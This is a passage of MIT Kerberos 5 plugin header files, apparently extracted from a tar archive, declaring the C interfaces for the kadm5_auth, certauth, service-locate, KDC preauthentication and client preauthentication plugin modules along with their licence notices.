(*kadm5_auth_iprop_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client); /* * Optional: receive a notification that the most recent authorized operation * has ended. If a kadm5_auth module is also a KDB module, it can assume that * all KDB methods invoked between a kadm5_auth authorization method invocation * and a kadm5_auth end invocation are performed as part of the authorized * operation. * * The end method may be invoked without a preceding authorization method in * some cases; the module must be prepared to ignore such calls. */ typedef void (*kadm5_auth_end_fn)(krb5_context context, kadm5_auth_moddata data); /* * Optional: free a restrictions object. This method does not need to be * defined if the module does not generate restrictions objects, or if it * returns aliases to restrictions objects contained from within the module * data. */ typedef void (*kadm5_auth_free_restrictions_fn)(krb5_context context, kadm5_auth_moddata data, struct kadm5_auth_restrictions *rs); /* kadm5_auth vtable for major version 1. */ typedef struct kadm5_auth_vtable_st { const char *name; /* Mandatory: name of module. */ kadm5_auth_init_fn init; kadm5_auth_fini_fn fini; kadm5_auth_addprinc_fn addprinc; kadm5_auth_modprinc_fn modprinc; kadm5_auth_setstr_fn setstr; kadm5_auth_cpw_fn cpw; kadm5_auth_chrand_fn chrand; kadm5_auth_setkey_fn setkey; kadm5_auth_purgekeys_fn purgekeys; kadm5_auth_delprinc_fn delprinc; kadm5_auth_renprinc_fn renprinc; kadm5_auth_getprinc_fn getprinc; kadm5_auth_getstrs_fn getstrs; kadm5_auth_extract_fn extract; kadm5_auth_listprincs_fn listprincs; kadm5_auth_addpol_fn addpol; kadm5_auth_modpol_fn modpol; kadm5_auth_delpol_fn delpol; kadm5_auth_getpol_fn getpol; kadm5_auth_listpols_fn listpols; kadm5_auth_iprop_fn iprop; kadm5_auth_end_fn end; kadm5_auth_free_restrictions_fn free_restrictions; /* Minor version 1 ends here. */ } *kadm5_auth_vtable; #endif /* KRB5_KADM5_AUTH_PLUGIN_H */ krb5/certauth_plugin.h 0000644 00000011771 15246445047 0010777 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* include/krb5/certauth_plugin.h - certauth plugin header. */ /* * Copyright (C) 2017 by Red Hat, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Declarations for certauth plugin module implementors. * * The certauth pluggable interface currently has only one supported major * version, which is 1. Major version 1 has a current minor version number of * 1. * * certauth plugin modules should define a function named * certauth_<modulename>_initvt, matching the signature: * * krb5_error_code * certauth_modname_initvt(krb5_context context, int maj_ver, int min_ver, * krb5_plugin_vtable vtable); * * The initvt function should: * * - Check that the supplied maj_ver number is supported by the module, or * return KRB5_PLUGIN_VER_NOTSUPP if it is not. * * - Cast the vtable pointer as appropriate for maj_ver: * maj_ver == 1: Cast to krb5_certauth_vtable * * - Initialize the methods of the vtable, stopping as appropriate for the * supplied min_ver. Optional methods may be left uninitialized. * * Memory for the vtable is allocated by the caller, not by the module. */ #ifndef KRB5_CERTAUTH_PLUGIN_H #define KRB5_CERTAUTH_PLUGIN_H #include <krb5/krb5.h> #include <krb5/plugin.h> /* Abstract module data type. */ typedef struct krb5_certauth_moddata_st *krb5_certauth_moddata; /* A module can optionally include <kdb.h> to inspect the client principal * entry when authorizing a request. */ struct _krb5_db_entry_new; /* * Optional: Initialize module data. */ typedef krb5_error_code (*krb5_certauth_init_fn)(krb5_context context, krb5_certauth_moddata *moddata_out); /* * Optional: Clean up the module data. */ typedef void (*krb5_certauth_fini_fn)(krb5_context context, krb5_certauth_moddata moddata); /* * Mandatory: return 0 or KRB5_CERTAUTH_HWAUTH if the DER-encoded cert is * authorized for PKINIT authentication by princ; otherwise return one of the * following error codes: * - KRB5KDC_ERR_CLIENT_NAME_MISMATCH - incorrect SAN value * - KRB5KDC_ERR_INCONSISTENT_KEY_PURPOSE - incorrect EKU * - KRB5KDC_ERR_CERTIFICATE_MISMATCH - other extension error * - KRB5_PLUGIN_NO_HANDLE - the module has no opinion about cert * * Returning KRB5_CERTAUTH_HWAUTH will cause the hw-authent flag to be set in * the issued ticket (new in release 1.19). * * - opts is used by built-in modules to receive internal data, and must be * ignored by other modules. * - db_entry receives the client principal database entry, and can be ignored * by modules that do not link with libkdb5. * - *authinds_out optionally returns a null-terminated list of authentication * indicator strings upon KRB5_PLUGIN_NO_HANDLE or accepted authorization. */ typedef krb5_error_code (*krb5_certauth_authorize_fn)(krb5_context context, krb5_certauth_moddata moddata, const uint8_t *cert, size_t cert_len, krb5_const_principal princ, const void *opts, const struct _krb5_db_entry_new *db_entry, char ***authinds_out); /* * Free indicators allocated by a module. Mandatory if authorize returns * authentication indicators. */ typedef void (*krb5_certauth_free_indicator_fn)(krb5_context context, krb5_certauth_moddata moddata, char **authinds); typedef struct krb5_certauth_vtable_st { const char *name; krb5_certauth_init_fn init; krb5_certauth_fini_fn fini; krb5_certauth_authorize_fn authorize; krb5_certauth_free_indicator_fn free_ind; } *krb5_certauth_vtable; #endif /* KRB5_CERTAUTH_PLUGIN_H */ krb5/locate_plugin.h 0000644 00000005100 15246445047 0010414 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright 2006 Massachusetts Institute of Technology. * All Rights Reserved. * * Export of this software from the United States of America may * require a specific license from the United States Government. * It is the responsibility of any person or organization contemplating * export to obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of M.I.T. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. Furthermore if you modify this software you must label * your software as modified software and not distribute it in such a * fashion that it might be confused with the original M.I.T. software. * M.I.T. makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. */ /* * * Service location plugin definitions for Kerberos 5. */ #ifndef KRB5_LOCATE_PLUGIN_H_INCLUDED #define KRB5_LOCATE_PLUGIN_H_INCLUDED #include <krb5/krb5.h> enum locate_service_type { locate_service_kdc = 1, locate_service_master_kdc, locate_service_kadmin, locate_service_krb524, locate_service_kpasswd }; typedef struct krb5plugin_service_locate_ftable { int minor_version; /* currently 0 */ /* Per-context setup and teardown. Returned void* blob is private to the plugin. */ krb5_error_code (*init)(krb5_context, void **); void (*fini)(void *); /* Callback function returns non-zero if the plugin function should quit and return; this may be because of an error, or may indicate we've already contacted the service, whatever. The lookup function should only return an error if it detects a problem, not if the callback function tells it to quit. */ krb5_error_code (*lookup)(void *, enum locate_service_type svc, const char *realm, int socktype, int family, int (*cbfunc)(void *,int,struct sockaddr *), void *cbdata); } krb5plugin_service_locate_ftable; /* extern krb5plugin_service_locate_ftable service_locator; */ #endif krb5/kdcpreauth_plugin.h 0000644 00000042172 15246445047 0011311 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright (c) 2006 Red Hat, Inc. * Portions copyright (c) 2006, 2011 Massachusetts Institute of Technology * All Rights Reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * Neither the name of Red Hat, Inc., nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Declarations for kdcpreauth plugin module implementors. * * The kdcpreauth interface has a single supported major version, which is 1. * Major version 1 has a current minor version of 2. kdcpreauth modules should * define a function named kdcpreauth_<modulename>_initvt, matching the * signature: * * krb5_error_code * kdcpreauth_modname_initvt(krb5_context context, int maj_ver, int min_ver, * krb5_plugin_vtable vtable); * * The initvt function should: * * - Check that the supplied maj_ver number is supported by the module, or * return KRB5_PLUGIN_VER_NOTSUPP if it is not. * * - Cast the vtable pointer as appropriate for the interface and maj_ver: * kdcpreauth, maj_ver == 1: Cast to krb5_kdcpreauth_vtable * * - Initialize the methods of the vtable, stopping as appropriate for the * supplied min_ver. Optional methods may be left uninitialized. * * Memory for the vtable is allocated by the caller, not by the module. */ #ifndef KRB5_KDCPREAUTH_PLUGIN_H #define KRB5_KDCPREAUTH_PLUGIN_H #include <krb5/krb5.h> #include <krb5/plugin.h> /* kdcpreauth mechanism property flags */ /* * Causes the KDC to include this mechanism in a list of supported preauth * types if the user's DB entry flags the user as requiring hardware-based * preauthentication. */ #define PA_HARDWARE 0x00000004 /* * Causes the KDC to include this mechanism in a list of supported preauth * types if the user's DB entry flags the user as requiring preauthentication, * and to fail preauthentication if we can't verify the client data. The * flipside of PA_SUFFICIENT. */ #define PA_REQUIRED 0x00000008 /* * Causes the KDC to include this mechanism in a list of supported preauth * types if the user's DB entry flags the user as requiring preauthentication, * and to mark preauthentication as successful if we can verify the client * data. The flipside of PA_REQUIRED. */ #define PA_SUFFICIENT 0x00000010 /* * Marks this preauthentication mechanism as one which changes the key which is * used for encrypting the response to the client. Modules which have this * flag have their server_return_fn called before modules which do not, and are * passed over if a previously-called module has modified the encrypting key. */ #define PA_REPLACES_KEY 0x00000020 /* * Not really a padata type, so don't include it in any list of preauth types * which gets sent over the wire. */ #define PA_PSEUDO 0x00000080 /* * Indicates that e_data in non-FAST errors should be encoded as typed data * instead of padata. */ #define PA_TYPED_E_DATA 0x00000100 /* Abstract type for a KDC callback data handle. */ typedef struct krb5_kdcpreauth_rock_st *krb5_kdcpreauth_rock; /* Abstract type for module data and per-request module data. */ typedef struct krb5_kdcpreauth_moddata_st *krb5_kdcpreauth_moddata; typedef struct krb5_kdcpreauth_modreq_st *krb5_kdcpreauth_modreq; /* The verto context structure type (typedef is in verto.h; we want to avoid a * header dependency for the moment). */ struct verto_ctx; /* Before using a callback after version 1, modules must check the vers * field of the callback structure. */ typedef struct krb5_kdcpreauth_callbacks_st { int vers; krb5_deltat (*max_time_skew)(krb5_context context, krb5_kdcpreauth_rock rock); /* * Get an array of krb5_keyblock structures containing the client keys * matching the request enctypes, terminated by an entry with key type = 0. * Returns ENOENT if no keys are available for the request enctypes. Free * the resulting object with the free_keys callback. */ krb5_error_code (*client_keys)(krb5_context context, krb5_kdcpreauth_rock rock, krb5_keyblock **keys_out); /* Free the result of client_keys. */ void (*free_keys)(krb5_context context, krb5_kdcpreauth_rock rock, krb5_keyblock *keys); /* * Get the encoded request body, which is sometimes needed for checksums. * For a FAST request this is the encoded inner request body. The returned * pointer is an alias and should not be freed. */ krb5_data *(*request_body)(krb5_context context, krb5_kdcpreauth_rock rock); /* Get a pointer to the FAST armor key, or NULL if the request did not use * FAST. The returned pointer is an alias and should not be freed. */ krb5_keyblock *(*fast_armor)(krb5_context context, krb5_kdcpreauth_rock rock); /* Retrieve a string attribute from the client DB entry, or NULL if no such * attribute is set. Free the result with the free_string callback. */ krb5_error_code (*get_string)(krb5_context context, krb5_kdcpreauth_rock rock, const char *key, char **value_out); /* Free the result of get_string. */ void (*free_string)(krb5_context context, krb5_kdcpreauth_rock rock, char *string); /* Get a pointer to the client DB entry (returned as a void pointer to * avoid a dependency on a libkdb5 type). */ void *(*client_entry)(krb5_context context, krb5_kdcpreauth_rock rock); /* Get a pointer to the verto context which should be used by an * asynchronous edata or verify method. */ struct verto_ctx *(*event_context)(krb5_context context, krb5_kdcpreauth_rock rock); /* End of version 1 kdcpreauth callbacks. */ /* Return true if the client DB entry contains any keys matching the * request enctypes. */ krb5_boolean (*have_client_keys)(krb5_context context, krb5_kdcpreauth_rock rock); /* End of version 2 kdcpreauth callbacks. */ /* * Get the decrypted client long-term key chosen according to the request * enctype list, or NULL if no matching key was found. The returned * pointer is an alias and should not be freed. If invoked from * return_padata, the result will be the same as the encrypting_key * parameter if it is not NULL, and will therefore reflect the modified * reply key if a return_padata handler has replaced the reply key. */ const krb5_keyblock *(*client_keyblock)(krb5_context context, krb5_kdcpreauth_rock rock); /* Assert an authentication indicator in the AS-REP authdata. Duplicate * indicators will be ignored. */ krb5_error_code (*add_auth_indicator)(krb5_context context, krb5_kdcpreauth_rock rock, const char *indicator); /* * Read a data value for pa_type from the request cookie, placing it in * *out. The value placed there is an alias and must not be freed. * Returns true if a value for pa_type was retrieved, false if not. */ krb5_boolean (*get_cookie)(krb5_context context, krb5_kdcpreauth_rock rock, krb5_preauthtype pa_type, krb5_data *out); /* * Set a data value for pa_type to be sent in a secure cookie in the next * error response. If pa_type is already present, the value is ignored. * If the preauth mechanism has different preauth types for requests and * responses, use the request type. Secure cookies are encrypted in a key * known only to the KDCs, but can be replayed within a short time window * for requests using the same client principal. */ krb5_error_code (*set_cookie)(krb5_context context, krb5_kdcpreauth_rock rock, krb5_preauthtype pa_type, const krb5_data *data); /* End of version 3 kdcpreauth callbacks. */ /* * Return true if princ matches the principal named in the request or the * client principal (possibly canonicalized). If princ does not match, * attempt a database lookup of princ with aliases allowed and compare the * result to the client principal, returning true if it matches. * Otherwise, return false. */ krb5_boolean (*match_client)(krb5_context context, krb5_kdcpreauth_rock rock, krb5_principal princ); /* * Get an alias to the client DB entry principal (possibly canonicalized). */ krb5_principal (*client_name)(krb5_context context, krb5_kdcpreauth_rock rock); /* End of version 4 kdcpreauth callbacks. */ /* * Instruct the KDC to send a freshness token in the method data * accompanying a PREAUTH_REQUIRED or PREAUTH_FAILED error, if the client * indicated support for freshness tokens. This callback should only be * invoked from the edata method. */ void (*send_freshness_token)(krb5_context context, krb5_kdcpreauth_rock rock); /* Validate a freshness token sent by the client. Return 0 on success, * KRB5KDC_ERR_PREAUTH_EXPIRED on error. */ krb5_error_code (*check_freshness_token)(krb5_context context, krb5_kdcpreauth_rock rock, const krb5_data *token); /* End of version 5 kdcpreauth callbacks. */ } *krb5_kdcpreauth_callbacks; /* Optional: preauth plugin initialization function. */ typedef krb5_error_code (*krb5_kdcpreauth_init_fn)(krb5_context context, krb5_kdcpreauth_moddata *moddata_out, const char **realmnames); /* Optional: preauth plugin cleanup function. */ typedef void (*krb5_kdcpreauth_fini_fn)(krb5_context context, krb5_kdcpreauth_moddata moddata); /* * Optional: return the flags which the KDC should use for this module. This * is a callback instead of a static value because the module may or may not * wish to count itself as a hardware preauthentication module (in other words, * the flags may be affected by the configuration, for example if a site * administrator can force a particular preauthentication type to be supported * using only hardware). This function is called for each entry entry in the * server_pa_type_list. */ typedef int (*krb5_kdcpreauth_flags_fn)(krb5_context context, krb5_preauthtype pa_type); /* * Responder for krb5_kdcpreauth_edata_fn. If invoked with a non-zero code, pa * will be ignored and the padata type will not be included in the hint list. * If invoked with a zero code and a null pa value, the padata type will be * included in the list with an empty value. If invoked with a zero code and a * non-null pa value, pa will be included in the hint list and will later be * freed by the KDC. */ typedef void (*krb5_kdcpreauth_edata_respond_fn)(void *arg, krb5_error_code code, krb5_pa_data *pa); /* * Optional: provide pa_data to send to the client as part of the "you need to * use preauthentication" error. The implementation must invoke the respond * when complete, whether successful or not, either before returning or * asynchronously using the verto context returned by cb->event_context(). * * This function is not allowed to create a modreq object because we have no * guarantee that the client will ever make a follow-up request, or that it * will hit this KDC if it does. */ typedef void (*krb5_kdcpreauth_edata_fn)(krb5_context context, krb5_kdc_req *request, krb5_kdcpreauth_callbacks cb, krb5_kdcpreauth_rock rock, krb5_kdcpreauth_moddata moddata, krb5_preauthtype pa_type, krb5_kdcpreauth_edata_respond_fn respond, void *arg); /* * Responder for krb5_kdcpreauth_verify_fn. Invoke with the arg parameter * supplied to verify, the error code (0 for success), an optional module * request state object to be consumed by return_fn or free_modreq_fn, optional * e_data to be passed to the caller if code is nonzero, and optional * authorization data to be included in the ticket. In non-FAST replies, * e_data will be encoded as typed-data if the module sets the PA_TYPED_E_DATA * flag, and as pa-data otherwise. e_data and authz_data will be freed by the * KDC. */ typedef void (*krb5_kdcpreauth_verify_respond_fn)(void *arg, krb5_error_code code, krb5_kdcpreauth_modreq modreq, krb5_pa_data **e_data, krb5_authdata **authz_data); /* * Optional: verify preauthentication data sent by the client, setting the * TKT_FLG_PRE_AUTH or TKT_FLG_HW_AUTH flag in the enc_tkt_reply's "flags" * field as appropriate. The implementation must invoke the respond function * when complete, whether successful or not, either before returning or * asynchronously using the verto context returned by cb->event_context(). */ typedef void (*krb5_kdcpreauth_verify_fn)(krb5_context context, krb5_data *req_pkt, krb5_kdc_req *request, krb5_enc_tkt_part *enc_tkt_reply, krb5_pa_data *data, krb5_kdcpreauth_callbacks cb, krb5_kdcpreauth_rock rock, krb5_kdcpreauth_moddata moddata, krb5_kdcpreauth_verify_respond_fn respond, void *arg); /* * Optional: generate preauthentication response data to send to the client as * part of the AS-REP. If it needs to override the key which is used to * encrypt the response, it can do so. */ typedef krb5_error_code (*krb5_kdcpreauth_return_fn)(krb5_context context, krb5_pa_data *padata, krb5_data *req_pkt, krb5_kdc_req *request, krb5_kdc_rep *reply, krb5_keyblock *encrypting_key, krb5_pa_data **send_pa_out, krb5_kdcpreauth_callbacks cb, krb5_kdcpreauth_rock rock, krb5_kdcpreauth_moddata moddata, krb5_kdcpreauth_modreq modreq); /* Optional: free a per-request context. */ typedef void (*krb5_kdcpreauth_free_modreq_fn)(krb5_context, krb5_kdcpreauth_moddata moddata, krb5_kdcpreauth_modreq modreq); /* Optional: invoked after init_fn to provide the module with a pointer to the * verto main loop. */ typedef krb5_error_code (*krb5_kdcpreauth_loop_fn)(krb5_context context, krb5_kdcpreauth_moddata moddata, struct verto_ctx *ctx); typedef struct krb5_kdcpreauth_vtable_st { /* Mandatory: name of module. */ char *name; /* Mandatory: pointer to zero-terminated list of pa_types which this module * can provide services for. */ krb5_preauthtype *pa_type_list; krb5_kdcpreauth_init_fn init; krb5_kdcpreauth_fini_fn fini; krb5_kdcpreauth_flags_fn flags; krb5_kdcpreauth_edata_fn edata; krb5_kdcpreauth_verify_fn verify; krb5_kdcpreauth_return_fn return_padata; krb5_kdcpreauth_free_modreq_fn free_modreq; /* Minor 1 ends here. */ krb5_kdcpreauth_loop_fn loop; /* Minor 2 ends here. */ } *krb5_kdcpreauth_vtable; #endif /* KRB5_KDCPREAUTH_PLUGIN_H */ krb5/plugin.h 0000644 00000004052 15246445047 0007072 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright (C) 2010 by the Massachusetts Institute of Technology. * All rights reserved. * * Export of this software from the United States of America may * require a specific license from the United States Government. * It is the responsibility of any person or organization contemplating * export to obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of M.I.T. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. Furthermore if you modify this software you must label * your software as modified software and not distribute it in such a * fashion that it might be confused with the original M.I.T. software. * M.I.T. makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. */ /* Generic declarations for dynamic modules implementing krb5 plugin * modules. */ #ifndef KRB5_PLUGIN_H #define KRB5_PLUGIN_H /* krb5_plugin_vtable is an abstract type. Module initvt functions will cast * it to the appropriate interface-specific vtable type. */ typedef struct krb5_plugin_vtable_st *krb5_plugin_vtable; /* * krb5_plugin_initvt_fn is the type of all module initvt functions. Based on * the maj_ver argument, the initvt function should cast vtable to the * appropriate type and then fill it in. If a vtable has been expanded, * min_ver indicates which version of the vtable is being filled in. */ typedef krb5_error_code (*krb5_plugin_initvt_fn)(krb5_context context, int maj_ver, int min_ver, krb5_plugin_vtable vtable); #endif /* KRB5_PLUGIN_H */ krb5/clpreauth_plugin.h 0000644 00000036243 15246445047 0011150 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright (c) 2006 Red Hat, Inc. * Portions copyright (c) 2006, 2011 Massachusetts Institute of Technology * All Rights Reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * Neither the name of Red Hat, Inc., nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Declarations for clpreauth plugin module implementors. * * The clpreauth interface has a single supported major version, which is * 1. Major version 1 has a current minor version of 2. clpreauth modules * should define a function named clpreauth_<modulename>_initvt, matching * the signature: * * krb5_error_code * clpreauth_modname_initvt(krb5_context context, int maj_ver, * int min_ver, krb5_plugin_vtable vtable); * The initvt function should: * * - Check that the supplied maj_ver number is supported by the module, or * return KRB5_PLUGIN_VER_NOTSUPP if it is not. * * - Cast the vtable pointer as appropriate for the interface and maj_ver: * maj_ver == 1: Cast to krb5_clpreauth_vtable * * - Initialize the methods of the vtable, stopping as appropriate for the * supplied min_ver. Optional methods may be left uninitialized. * * Memory for the vtable is allocated by the caller, not by the module. */ #ifndef KRB5_CLPREAUTH_PLUGIN_H #define KRB5_CLPREAUTH_PLUGIN_H #include <krb5/krb5.h> #include <krb5/plugin.h> /* clpreauth mechanism property flags */ /* Provides a real answer which we can send back to the KDC. The client * assumes that one real answer will be enough. */ #define PA_REAL 0x00000001 /* Doesn't provide a real answer, but must be given a chance to run before any * REAL mechanism callbacks. */ #define PA_INFO 0x00000002 /* Abstract type for a client request information handle. */ typedef struct krb5_clpreauth_rock_st *krb5_clpreauth_rock; /* Abstract types for module data and per-request module data. */ typedef struct krb5_clpreauth_moddata_st *krb5_clpreauth_moddata; typedef struct krb5_clpreauth_modreq_st *krb5_clpreauth_modreq; /* Before using a callback after version 1, modules must check the vers * field of the callback structure. */ typedef struct krb5_clpreauth_callbacks_st { int vers; /* * If an AS-REP has been received, return the enctype of the AS-REP * encrypted part. Otherwise return the enctype chosen from etype-info, or * the first requested enctype if no etype-info was received. */ krb5_enctype (*get_etype)(krb5_context context, krb5_clpreauth_rock rock); /* Get a pointer to the FAST armor key, or NULL if the client is not using * FAST. The returned pointer is an alias and should not be freed. */ krb5_keyblock *(*fast_armor)(krb5_context context, krb5_clpreauth_rock rock); /* * Get a pointer to the client-supplied reply key, possibly invoking the * prompter to ask for a password if this has not already been done. The * returned pointer is an alias and should not be freed. */ krb5_error_code (*get_as_key)(krb5_context context, krb5_clpreauth_rock rock, krb5_keyblock **keyblock); /* Replace the reply key to be used to decrypt the AS response. */ krb5_error_code (*set_as_key)(krb5_context context, krb5_clpreauth_rock rock, const krb5_keyblock *keyblock); /* End of version 1 clpreauth callbacks. */ /* * Get the current time for use in a preauth response. If * allow_unauth_time is true and the library has been configured to allow * it, the current time will be offset using unauthenticated timestamp * information received from the KDC in the preauth-required error, if one * has been received. Otherwise, the timestamp in a preauth-required error * will only be used if it is protected by a FAST channel. Only set * allow_unauth_time if using an unauthenticated time offset would not * create a security issue. */ krb5_error_code (*get_preauth_time)(krb5_context context, krb5_clpreauth_rock rock, krb5_boolean allow_unauth_time, krb5_timestamp *time_out, krb5_int32 *usec_out); /* Set a question to be answered by the responder and optionally provide * a challenge. */ krb5_error_code (*ask_responder_question)(krb5_context context, krb5_clpreauth_rock rock, const char *question, const char *challenge); /* Get an answer from the responder, or NULL if the question was * unanswered. */ const char *(*get_responder_answer)(krb5_context context, krb5_clpreauth_rock rock, const char *question); /* Indicate interest in the AS key through the responder interface. */ void (*need_as_key)(krb5_context context, krb5_clpreauth_rock rock); /* * Get a configuration/state item from an input ccache, which may allow it * to retrace the steps it took last time. The returned data string is an * alias and should not be freed. */ const char *(*get_cc_config)(krb5_context context, krb5_clpreauth_rock rock, const char *key); /* * Set a configuration/state item which will be recorded to an output * ccache, if the calling application supplied one. Both key and data * should be valid UTF-8 text. */ krb5_error_code (*set_cc_config)(krb5_context context, krb5_clpreauth_rock rock, const char *key, const char *data); /* End of version 2 clpreauth callbacks (added in 1.11). */ /* * Prevent further fallbacks to other preauth mechanisms if the KDC replies * with an error. (The module itself can still respond to errors with its * tryagain method, or continue after KDC_ERR_MORE_PREAUTH_DATA_REQUIRED * errors with its process method.) A module should invoke this callback * from the process method when it generates an authenticated request using * credentials; often this will be the first or only client message * generated by the mechanism. */ void (*disable_fallback)(krb5_context context, krb5_clpreauth_rock rock); /* End of version 3 clpreauth callbacks (added in 1.17). */ } *krb5_clpreauth_callbacks; /* * Optional: per-plugin initialization/cleanup. The init function is called by * libkrb5 when the plugin is loaded, and the fini function is called before * the plugin is unloaded. These may be called multiple times in case the * plugin is used in multiple contexts. The returned context lives the * lifetime of the krb5_context. */ typedef krb5_error_code (*krb5_clpreauth_init_fn)(krb5_context context, krb5_clpreauth_moddata *moddata_out); typedef void (*krb5_clpreauth_fini_fn)(krb5_context context, krb5_clpreauth_moddata moddata); /* * Optional (mandatory before MIT krb5 1.12): pa_type will be a member of the * vtable's pa_type_list. Return PA_REAL if pa_type is a real * preauthentication type or PA_INFO if it is an informational type. If this * function is not defined in 1.12 or later, all pa_type values advertised by * the module will be assumed to be real. */ typedef int (*krb5_clpreauth_get_flags_fn)(krb5_context context, krb5_preauthtype pa_type); /* * Optional: per-request initialization/cleanup. The request_init function is * called when beginning to process a get_init_creds request and the * request_fini function is called when processing of the request is complete. * This is optional. It may be called multiple times in the lifetime of a * krb5_context. */ typedef void (*krb5_clpreauth_request_init_fn)(krb5_context context, krb5_clpreauth_moddata moddata, krb5_clpreauth_modreq *modreq_out); typedef void (*krb5_clpreauth_request_fini_fn)(krb5_context context, krb5_clpreauth_moddata moddata, krb5_clpreauth_modreq modreq); /* * Optional: process server-supplied data in pa_data and set responder * questions. * * encoded_previous_request may be NULL if there has been no previous request * in the AS exchange. */ typedef krb5_error_code (*krb5_clpreauth_prep_questions_fn)(krb5_context context, krb5_clpreauth_moddata moddata, krb5_clpreauth_modreq modreq, krb5_get_init_creds_opt *opt, krb5_clpreauth_callbacks cb, krb5_clpreauth_rock rock, krb5_kdc_req *request, krb5_data *encoded_request_body, krb5_data *encoded_previous_request, krb5_pa_data *pa_data); /* * Mandatory: process server-supplied data in pa_data and return created data * in pa_data_out. Also called after the AS-REP is received if the AS-REP * includes preauthentication data of the associated type. * * as_key contains the client-supplied key if known, or an empty keyblock if * not. If it is empty, the module may use gak_fct to fill it in. * * encoded_previous_request may be NULL if there has been no previous request * in the AS exchange. */ typedef krb5_error_code (*krb5_clpreauth_process_fn)(krb5_context context, krb5_clpreauth_moddata moddata, krb5_clpreauth_modreq modreq, krb5_get_init_creds_opt *opt, 